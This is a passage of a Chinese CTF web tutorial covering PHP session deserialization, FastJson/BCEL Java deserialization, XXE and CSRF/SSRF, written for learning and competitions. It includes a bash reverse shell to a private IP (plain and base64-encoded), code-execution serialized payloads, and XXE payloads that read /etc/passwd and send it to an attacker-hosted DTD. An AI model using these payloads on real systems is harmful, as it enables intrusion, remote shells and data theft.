​ 这是一道session反序列化的题目,PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化。


  • session相关配置参数
    1
    2
    3
    4
    session.save_path 设置session的存储路径
    session.save_handler 设定用户自定义存储函数
    session.auto_start 指定会话模块是否在请求开始时启动一个会话
    session.serialize_handler 定义用来序列化/反序列化的处理器名字。默认使用php
    Note:

​ php中的session内容是以文件方式来存储的,由session.save_handler来决定。文件名由sess_sessionid命名,文件内容则为session序列化后的值。


  • 回到上面的题目
    1
    http://web.jarvisoj.com:32784/index.php?phpinfo
    Note:

​ 先来看看phpinfo,php版本:5.6.21,在php大于5.5.4的版本中默认使用php_serialize规则

​ 再看看session.save_handler。

​ 默认为php_serialize,而index.php中又使用了php,反序列化和序列化使用的处理器不同,由于格式的原因会导致数据无法正确反序列化,那么就可以通过构造来伪造任意数据。


  • 利用点
1
2
3
4
当session.upload_progress.enabled开启时,
PHP 能够在每一个文件上传时监测上传进度。
这个信息对上传请求自身并没有什么帮助,
但在文件上传时应用可以发送一个POST请求到终端来检查状态。
1
2
3
4
5
6
7
当一个上传在处理中,同时POST一个与INI中设置的
session.upload_progress.name同名变量时,
上传进度可以在\$_SESSION中获得。
当PHP检测到这种POST请求时,
它会在$_SESSION中添加一组数据,
索引是 session.upload_progress.prefix 与
session.upload_progress.name连接在一起的值。

Note:

​ 最后看一下session.upload_progress.enabled,可以看到是开启的,了解了利用方法后,具体实现一下利用过程。


1.构造POST表单

1
2
3
4
5
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

2.根据题目源码,构造利用序列化字符串

1
2
3
4
5
6
7
8
9
10
<?php
class OowoO
{
public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new OowoO();
$a = serialize($obj);

var_dump($a);
?>

运行结果

1
string(71) "O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}"

​ mdzz就是我们要执行的函数,

3.先来看看当前目录下的文件

运行后的序列化字符串:

1
string(71) "O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}"

​ 这里最前面要加一个竖杠,表示这个序列化字符串是session的格式,此外,还要在引号前加\防止转义。

1
2
|"O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}"
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

​ 得到flag文件名。

1
Here_1s_7he_fl4g_buT_You_Cannot_see.php

4.获得绝对路径

phpinfo中:

1
_SERVER["DOCUMENT_ROOT"]

5.读取文件

修改mdzz的值,构造新的序列化字符串。

1
"O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}"

还是一样,加竖杠,反斜杠

1
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

最后POST过去,getflag


附:FastJson反序列化(JAVA)

例题: 护网杯 easy_web

1.构造执行命令

在CommandObject.java类中的commands数组中进行构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import	java.lang.Runtime;
import java.lang.Process;
public class CommandObject {
public CommandObject(){
try{
Runtime rt = Runtime.getRuntime();
//Runtime.getRuntime().exec("/bin/bash -i >&/dev/tcp/192.168.43.14/2018<&1");
//String[] commands = {"bash -c {echo,L2Jpbi9iYXNoIC1pID4mL2Rldi90Y3AvMTkyLjE2OC40My4xNC8yMDE4PCYx}|{base64,-d}|{bash,-i}"};

String[] commands = {"touch","/opt/test"}; //Command
Process pc = rt.exec(commands);
pc.waitFor();
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
CommandObject e = new CommandObject();
}
}

之后编译得到class文件

2.BCEL编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public class BCELencode {
public static void main(String []args) throws Exception{
//There also should be compiled class file,not java file
Path path = Paths.get("src/evil.class"); //文件绝对路径
byte[] data = Files.readAllBytes(path);
String s = Utility.encode(data,true);
System.out.print(s);
}
}

3.构造JSON POC

1
2
3
4
5
6
7
8
{
"@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader" :
{
"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName" : "上个步骤得到的编码"
}

4.最后反弹shell


Reference

1
2
3
4
5
6
7
8
PHP官方文档--魔术方法
https://www.php.net/manual/zh/language.oop5.magic.php
PHP反序列化由浅入深
https://xz.aliyun.com/t/3674#toc-12
实战经验丨PHP反序列化漏洞总结
https://www.freebuf.com/column/197496.html
phar协议
http://php.net/manual/zh/wrappers.phar.php

0x06-XXE


  • XXE Injection(XML External Entity Injection)
    XML 外部实体注入攻击。XML 文档结构里定义了实体(entity)这个概念。实体可以通过预定义在文档中调用,实体的标识符可访问本地或远程内容。

产生原因:未进行限制,服务器可以对非安全的外部实体数据进行处理


什么是XML?

Note: https://www.jianshu.com/p/f580370ac345


  • 前端和后端交换数据的时候,一般都不会直接返回字符串,因为字符串容易出问题。
  • 一般返回XML或者JSON格式的数据。
1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

Note:
XML格式:
第一行是 XML 声明:,它定义 XML 的版本 (1.0) 和所使用的编码 。
在XML中数据都是放在一对标签中的,标签名可以随意写。如下:
下一行描述文档的根元素
接下来 4 行描述根的 4 个子元素(to, from, heading 以及 body)
最后一行定义根元素的结尾


基础XXE原理

  • 攻击过程
XXE

Note:

​ 基础的xxe攻击过程就是这样的,攻击者向靶机发送xml请求,其中构造了恶意的xml文件,用于读取外部dtd,获取服务器回显等操作。


  • 正常的XML请求
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /vulnerable HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://test.com/test.html
Content-Type: application/xml
Content-Length: 294
Cookie: mycookie=cookies;
Connection: close
Upgrade-Insecure-Requests: 1

<?xml version="1.0"?>
<catalog>
<core id="test101">
<author>John Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>XML is the best!</description>
</core>
</catalog>

Note:

​ 这是一个正常的XML POST请求。

​ 我们来看看被利用的XML请求:


1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>

Note:

​ 这里又用到了刚刚讲的file伪协议,用于文件内容的读取。

​ 将payload注入XML文件中,一旦文件被执行,将会读取服务器上的本地文件,还可以通过返回时间的判断对内网发起访问扫描。换而言之,XXE是一种从本地到达各种服务的方法。此外,在一定程度上这也可能帮助攻击者绕过防火墙规则过滤或身份验证检查。


Blind OOB XXE

  • 在一些情况下,虽然服务器会响应我们的请求,但是不存在回显

Note: 这并不意味着我们就无法获取到服务器的响应数据,我们可以通过外带数据(OOB)的方法来获取到服务器的响应,完成我们的攻击过程,接下来我们来看看具体的利用方法


  • 攻击者服务器新建一个evil.dtd
1
2
3
<!ENTITY %file SYSTEM "file:///etc/passwd">
<!ENTITY %request "<!ENTITY foo SYSTEM 'http://your.IP/id=%file;'>">
%request;
  • POST数据
1
2
3
<?xml version="1.0"?>
<!DOCTYPE xxe SYSTEM "http://yourip/evil.dtd">
<description>&xxe;</description>
  • 攻击者服务器获得回显
1
[04/Dec/2016 20:19:40] "GET /?id=root:x:0:0:root:/root:/bin/sh%0Alp:x:7:7:lp:/var/spool/lpd:/bin/sh%0Anobody:x:65534:65534:nobody:/nonexistent:/bin/false%0Atc:x:1001:50:Linux%20User,,,:/home/tc:/bin/sh%0Apentesterlab:x:1000:50:Linux%20User,,,:/home/pentesterlab:/bin/sh%0Aplay:x:100:65534:Linux%20User,,,:/opt/play-2.1.3/xxe/:/bin/false%0Amysql:x:101:65534:Linux%20User,,,:/home/mysql:/bin/false%0A HTTP/1.1" 200 -

再去看一道题

1
2
[GoogleCTF2019 Quals]Bnv
https://buuoj.cn/challenges#[GoogleCTF2019%20Quals]Bnv

Note:

​ 我们首先抓下数据包看看,是以json格式进行数据传输的,我们来修改下Content-type,修改为xml试试,可以看到服务器有响应,可以进行下一步的尝试
试一试我们上面的payload,没有回显的数据。

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE message[
<!ELEMENT message ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<message>&xxe;</message>

​ 试试刚刚说的外带数据?

1
2
3
4
5
6
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd">
%ext;
]>
<message></message>

​ 外带也不行,根本没办法访问我们的服务器

​ 这里我们用这种方法,使用本地的DTD文件实现任意结果输出,这里我构造好了payload

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

​ 具体的怎么查找自带的dtd文件进行构造实现输出的方法,可以在下面的参考当中找到


Reference

1
2
3
4
5
6
HUNTING IN THE DARK - BLIND XXE
https://blog.zsec.uk/blind-xxe-learning/
使用本地DTD文件来利用XXE漏洞实现任意结果输出
https://www.freebuf.com/articles/web/195899.html
DTD Cheat Sheet
https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html

0x07-CSRF/SSRF

Note:

​ 这两个我仅仅介绍一下产生的原因,在现实的渗透测试环境中经常遇到,题目中比较少见。


CSRF

  • 跨站请求伪造 (Cross Site Request Forgery):受害者访问一个网站时,在其 Cookie 还没有过期的情况下,攻击者伪造一个链接地址发送受害者并欺骗让其点击,从而形成 CSRF 攻击。

产生原因:请求所有的参数均可确定,请求的审核不严格 (没有验证或者只验证Cookie)


  • 篡改目标站上的用户数据
  • 盗取用户隐私数据
  • 作为其他攻击向量的辅助攻击手法
  • 传播CSRF蠕虫

SSRF

  • 服务器端请求伪造 (Server-Side Request Forgery):由攻击者构造形成,由服务端发起请求的一个安全漏洞,SSRF一般的攻击目标是从外网无法访问的内部系统。

产生原因:由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制,导致从URL地址获取网页文本内容,加载指定地址的图片等。


  • 内网、本地端口扫描,获取开放端口信息
  • 主机信息收集,web应用指纹识别
  • 绕过防火墙
  • 读取本地文件

一些刷题平台&资料


Note:

​ 写在最后,准备仓促,才疏学浅,我也是刚刚真正入门ctf的web这个大方向,比赛经验也比较少,本篇文章参考了大量DALAO的博客和资料,加上自己的一些经验与见解,由于web面实在是太广,未免有所遗漏,希望大家能多多指教,帮忙指出错误。

​ 本文中没有涉及的方面,以下供参考: